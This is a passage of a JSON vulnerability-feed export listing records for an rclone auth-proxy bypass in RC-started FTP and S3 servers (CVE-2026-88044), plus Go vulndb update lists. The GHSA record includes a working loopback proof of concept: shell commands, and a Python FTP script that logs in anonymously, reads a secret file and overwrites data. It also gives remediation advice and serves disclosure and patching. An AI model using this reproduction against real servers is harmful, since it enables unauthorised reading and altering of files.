1.75.1.","status":"published","published":"2026-09-10T16:08:14.619Z","modified":"2026-10-28T02:31:07.367856235Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:45:19.210277Z"},{"id":"DEBIAN-CVE-2026-88044","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T17:17:08.387Z","modified":"2026-09-11T06:00:13.885990781Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:46:05.506112Z"},{"id":"GHSA-p569-5gjg-9cmj","title":"rclone: RC per-server auth-proxy bypass","description":"## Summary\n\n`serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`.\n\nWhen the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy.\n\nThe S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.\n\nConfirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`.\n- `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor.\n- `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`.\n- `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem.\n- `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password.\n- `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty.\n- `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options.\n- `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection.\n- Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends.\n- Configuration attack surface: `rclone rc serve/start ... proxyOpt='{\"AuthProxy\":\"...\"}'` or the equivalent JSON request.\n\n## Technical Root Cause Analysis\n\nThe serve implementation has two option scopes:\n\n- `proxy.Opt` is process-global and is populated by command-line/global option parsing.\n- `proxyOpt` is a constructor argument populated from the individual `serve/start` request.\n\nThe RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., \u0026proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value:\n\n```go\n// Current FTP and S3 pattern\nif proxy.Opt.AuthProxy != \"\" {\n    // Uses proxyOpt only after the unrelated global check succeeds.\n    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)\n} else {\n    // Fail-open fixed-backend mode.\n}\n```\n\nConsequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example.\n\nFor FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact.\n\n## Proof of Concept \u0026 Evidence\n\nThe following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.\n\nBuild the inspected revision, then prepare a fixed filesystem and rejecting proxy:\n\n```sh\nmkdir -p /tmp/rclone-rc-root\nprintf 'fixed-backend-secret\\n' \u003e /tmp/rclone-rc-root/secret.txt\nrm -f /tmp/rclone-auth-proxy-invoked\n\ncat \u003e /tmp/deny-rclone-proxy.sh \u003c\u003c'EOF'\n#!/bin/sh\nprintf 'invoked\\n' \u003e\u003e /tmp/rclone-auth-proxy-invoked\ncat \u003e/dev/null\nexit 1\nEOF\nchmod 700 /tmp/deny-rclone-proxy.sh\n```\n\nStart RC on loopback in one terminal:\n\n```sh\n./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth\n```\n\nStart an FTP server with only the request-local auth proxy configured:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 \\\n  serve/start \\\n  type=ftp \\\n  fs=/tmp/rclone-rc-root \\\n  proxyOpt='{\"AuthProxy\":\"/tmp/deny-rclone-proxy.sh\"}' \\\n  opt='{\"ListenAddr\":\"127.0.0.1:2121\",\"PassivePorts\":\"30000-30010\"}'\n```\n\nConnect with the fallback credentials and exercise read and write access:\n\n```sh\npython3 - \u003c\u003c'PY'\nimport ftplib\nimport io\n\nftp = ftplib.FTP()\nftp.connect(\"127.0.0.1\", 2121, timeout=5)\nftp.login(\"anonymous\", \"arbitrary-password\")\n\ndata = bytearray()\nftp.retrbinary(\"RETR secret.txt\", data.extend)\nprint(data.decode().strip())\n\nftp.storbinary(\"STOR overwritten.txt\", io.BytesIO(b\"attacker-controlled\\n\"))\nftp.quit()\nPY\n\ntest ! -e /tmp/rclone-auth-proxy-invoked\ngrep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Login as `anonymous` succeeds with an arbitrary password.\n- `secret.txt` is returned from the fixed RC filesystem.\n- `overwritten.txt` is created in that filesystem.\n- The rejecting auth-proxy program is never invoked.\n\nThe equivalent automated network test, `TestSecurityValidationRCPerServerAuthProxyFTP`, called the actual `serve/start` RC handler, connected through `github.com/jlaffaye/ftp`, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP\n--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)\n```\n\n### Authenticated S3 backend-routing reproduction\n\nThis validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:\n\n```sh\nmkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket\nprintf 'fixed-backend-secret\\n' \u003e /tmp/rclone-s3-fixed/bucket/fixed-secret.txt\nprintf 'proxy-backend-only\\n' \u003e /tmp/rclone-s3-proxy/bucket/proxy-only.txt\n\ncat \u003e /tmp/rclone-s3-route-proxy.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\njson.load(sys.stdin)\nprint(json.dumps({\"type\": \"local\", \"_root\": \"/tmp/rclone-s3-proxy\"}))\nPY\nchmod 700 /tmp/rclone-s3-route-proxy.py\n```\n\nUsing the same loopback RC process, start an authenticated S3 server:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 serve/start --json '{\n  \"type\": \"s3\",\n  \"fs\": \"/tmp/rclone-s3-fixed\",\n  \"addr\": \"127.0.0.1:8080\",\n  \"auth_key\": [\"validation-key,validation-secret\"],\n  \"proxyOpt\": {\n    \"AuthProxy\": \"python3 /tmp/rclone-s3-route-proxy.py\"\n  }\n}'\n```\n\nSend a correctly signed S3 request:\n\n```sh\nAWS_ACCESS_KEY_ID=validation-key \\\nAWS_SECRET_ACCESS_KEY=validation-secret \\\nAWS_DEFAULT_REGION=us-east-1 \\\naws --endpoint-url http://127.0.0.1:8080 \\\n  s3api get-object \\\n  --bucket bucket \\\n  --key fixed-secret.txt \\\n  /tmp/rclone-s3-result\n\ngrep -F fixed-backend-secret /tmp/rclone-s3-result\n```\n\nIf the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`.\n\nThe automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `fixed-secret.txt`, and confirmed that `proxy-only.txt` was absent:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyS3Routing\n--- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)\n```\n\nThis demonstrates backend-authorization bypass, not anonymous S3 access.\n\n## Impact Assessment\n\nFor RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to `serve/start`, subject only to VFS options such as `read_only`. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.\n\nFor RC-started S3 servers that combine `auth_key` with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as `fs` and on the fixed filesystem's VFS permissions.\n\nExploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.\n\n## Remediation Guidance\n\nChange the mode checks in both constructors to use the option object passed to that server:\n\n```go\nif proxyOpt != nil \u0026\u0026 proxyOpt.AuthProxy != \"\" {\n    d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)\n    // Do not create a fixed/global VFS in this mode.\n} else {\n    d.globalVFS = vfs.New(ctx, f, vfsOpt)\n}\n```\n\nApply the equivalent change in `cmd/serve/s3/server.go`. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.\n\nAlso:\n\n- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back.\n- In S3, make the “allowing anonymous access” log conditional on both the absence of `AuthKey` and the absence of an active auth proxy, so the log reflects the effective mode.\n- Add RC integration tests for FTP and S3 with global `proxy.Opt.AuthProxy` empty and nested `proxyOpt.AuthProxy` non-empty.\n- In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked.\n- In the S3 test, configure `AuthKey`, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC `fs`.\n- Add a multi-server test proving that two simultaneous `serve/start` instances can use different proxy settings without consulting or mutating global state.\n- Audit other `serve.AddRc` implementations for the same pattern: parsing a request-local option but branching on its global counterpart.","status":"published","published":"2026-09-10T22:47:10Z","modified":"2026-09-19T09:25:36.536687356Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:46:52.534897Z"},{"id":"UBUNTU-CVE-2026-88044","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T17:17:00Z","modified":"2026-10-17T13:01:15.698875895Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T16:57:24.828975Z"},{"id":"BIT-rclone-2026-88044","title":"rclone: RC per-server auth-proxy bypass","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-19T08:49:52.678Z","modified":"2026-09-19T09:25:36.536687356Z","updated_at":"2026-11-02T15:28:35.111822Z"},{"id":"GO-2026-6460","title":"rclone: RC per-server auth-proxy bypass in github.com/rclone/rclone","description":"rclone: RC per-server auth-proxy bypass in github.com/rclone/rclone","status":"published","published":"2026-09-16T16:56:29Z","modified":"2026-09-19T09:25:36.536687356Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21897-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:36:27Z","modified":"2026-09-25T18:23:11.534555779Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-GOBINARY-CVE-2026-88044","title":"CVE-2026-88044 in github.com/rclone/rclone - Patched by Root","description":"Root has patched CVE-2026-88044 in the github.com/rclone/rclone package for Root:Go. Multiple fixed versions available.","status":"published","published":"2026-10-05T05:53:21Z","modified":"2026-10-05T06:15:03.214277242Z","updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"SUSE-SU-2026:23855-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 